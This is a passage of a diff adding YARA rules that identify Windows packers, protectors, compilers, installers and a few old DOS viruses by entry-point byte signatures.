+		description = "MS Visual C++ v.8 DLL (h-small sig1)"
+	strings:
+		$0 = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201_compressed__Oreans_Technologies_h_
+{
+	meta:
+		description = "Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)"
+	strings:
+		$0 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+		$1 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? 00 03 C7 B9 ?? ?? ?? 00 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 00 00 02 00 00 00 91 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SoftProtect__SoftProtectbyru_
+{
+	meta:
+		description = "SoftProtect -> SoftProtect.by.ru"
+	strings:
+		$0 = {E8 0C 15 00 00 8D 85 2F 14 00 00 C7 00 00 00 00 00 E8 29 0F 00 00 E8 F6 14 00 00 8D 85 20 01 00 00 50 E8 AA 16 00 00 83}
+		$1 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+		$2 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C 75 F2 33 C4 74 0C 23 C4 0B C4 C6 01 59 C6 01 59 EB E2 90 E8 44 14 ?? ?? 8D 85 CF 13 ?? ?? C7 ?? ?? ?? ?? ?? E8 61 0E ?? ?? E8 2E 14 ?? ?? 8D 85 E4 01 ?? ?? 50 E8 E2 15 ?? ?? 83 BD 23 01 ?? ?? 01 75 07 E8 21 0D ?? ?? EB 09 8D 85 CF 13 ?? ?? 83 08 01 83 BD 1F 01 ?? ?? 01 75 07 E8 3E 0C ?? ?? EB 05 E8 A8 0C ?? ?? E8 B3 02 ?? ?? 8D 85 63 02 ?? ?? 50 E8 A3 15 ?? ?? 8D 85 F5 02 ?? ?? 50 E8 97 15 ?? ?? E8 E2 01 ?? ?? 8D 85 09 05 ?? ?? 50 E8 86 15 ?? ?? 8D 85 F8 0F ?? ?? 50 E8 7A 15 ?? ?? 8D 85 88 0F ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Upack_Patch_or_any_Version__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack_Patch or any Version -> Sign by hot_UNP"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXLock_v10__CyberDoom_
+{
+	meta:
+		description = "UPXLock v1.0 -> CyberDoom"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v220b1_
+{
+	meta:
+		description = "Armadillo v2.20b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_v011_
+{
+	meta:
+		description = "UPack v0.11"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0 50 48}
+	condition:
+		$0
+}
+rule _FSG_v11_
+{
+	meta:
+		description = "FSG v1.1"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypter_
+{
+	meta:
+		description = "PE-Crypter"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D EB 26}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_joiner__Amok_
+{
+	meta:
+		description = "EXE joiner -> Amok"
+	strings:
+		$0 = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Yoda's Protector 1.02] -> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _File_Analyzer_Compiled_Datafile_Version_
+{
+	meta:
+		description = "File Analyzer Compiled Datafile Version"
+	strings:
+		$0 = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+	condition:
+		$0
+}
+rule _UPX_V200V290__Markus_Oberhumer_amp_Laszlo_Molnar_amp_John_Reiser_
+{
+	meta:
+		description = "UPX V2.00-V2.90 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser"
+	strings:
+		$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _NTPacker_10__ErazerZ_
+{
+	meta:
+		description = "NTPacker 1.0 -> ErazerZ"
+	strings:
+		$0 = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PAKSFX_Archive_
+{
+	meta:
+		description = "PAK-SFX Archive"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_23_SKE_build_0426_Beta_
+{
+	meta:
+		description = "ASProtect 2.3 SKE build 04.26 Beta"
+	strings:
+		$0 = {68 01 60 40 00 E8 01 00 00 00 C3 C3 0D 6C 65 3E 09 84 BB 91 89 38 D0 5A 1D 60 6D AF D5 51 2D A9 2F E1 62 D8 C1 5A 8D 6B 6E 94 A7 F9 1D 26 8C 8E FB 08 A8 7E 9D 3B 0C DF 14 5E 62 14 7D 78 D0 6E}
+	condition:
+		$0
+}
+rule _DevCpp_v4_
+{
+	meta:
+		description = "Dev-C++ v4"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+	condition:
+		$0
+}
+rule _RatPacker_Glue_stub_
+{
+	meta:
+		description = "RatPacker (Glue) stub"
+	strings:
+		$0 = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+		$1 = {40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MSLRH_v032a_fake_PCGuard_4xx__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PC-Guard 4.xx) -> emadicius (h)"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact_253_DLL__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.53 DLL -> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 00 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_098__tHE_EGOiSTE_h_
+{
+	meta:
+		description = "tElock 0.98 -> tHE EGOiSTE (h)"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _Vx_Grazie883_
+{
+	meta:
+		description = "Vx: Grazie.883"
+	strings:
+		$0 = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Blade_Joiner_v15_
+{
+	meta:
+		description = "Blade Joiner v1.5"
+	strings:
+		$0 = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v2xx_
+{
+	meta:
+		description = "PECompact v2.xx"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0
+}
+rule _PEArmor_04600759__hying_
+{
+	meta:
+		description = "PE-Armor 0.460-0.759 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EncryptPE_12003518__WFS_
+{
+	meta:
+		description = "EncryptPE 1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__3_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #3"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_MinGW_GCC_2x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MinGW GCC 2.x] -> Anorganix"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v100__v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 - v1.01 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeLock_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Code-Lock]"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_098_Special_Build__forgot__heXer_
+{
+	meta:
+		description = "tElock 0.98 Special Build -> forgot & heXer"
+	strings:
+		$0 = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+	condition:
+		$0 at entrypoint
+}
+rule _SEAAXE_v22_
+{
+	meta:
+		description = "SEA-AXE v2.2"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_V3042005__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor V30.4.2005 -> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hymn1865_
+{
+	meta:
+		description = "Vx: Hymn.1865"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_70_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] -> Anorganix"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b1_
+{
+	meta:
+		description = "Armadillo v1.90b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_50_
+{
+	meta:
+		description = "Microsoft Visual Basic 5.0"
+	strings:
+		$0 = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _SVKP_v142__Pavol_Cerven_h_
+{
+	meta:
+		description = "SVKP v1.42 -> Pavol Cerven (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC EC 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+	condition:
+		$0 at entrypoint
+}
+rule _Pksmart_10b_
+{
+	meta:
+		description = "Pksmart 1.0b"
+	strings:
+		$0 = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _PENinja_modified_
+{
+	meta:
+		description = "PENinja modified"
+	strings:
+		$0 = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Neolite_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Neolite 2.0] --> Anorganix"
+	strings:
+		$0 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_PENightMare_2_Beta_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PENightMare 2 Beta]"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _Naked_Packer_V1X__BigBoote_
+{
+	meta:
+		description = "Naked Packer V1.X -> BigBoote"
+	strings:
+		$0 = {6A ?? E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine 2.7 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _nPack_v11_150200_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 150-200 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v27__Holy_Father__Ratter29A_h_
+{
+	meta:
+		description = "Morphine v2.7 -> Holy_Father & Ratter/29A (h)"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Unnamed_Scrambler_21Beta__211__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8}
+		$1 = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _bambam_V004__bedrock__Sign_by_fly_
+{
+	meta:
+		description = "bambam V0.04 -> bedrock ! Sign by fly"
+	strings:
+		$0 = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PiMP Install System v1.x"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 3E 2F}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_PENinja_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENinja 1.31] -> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_035__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 035) -> GlOFF"
+	strings:
+		$0 = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20_RC2_
+{
+	meta:
+		description = "Nullsoft Install System v2.0 RC2"
+	strings:
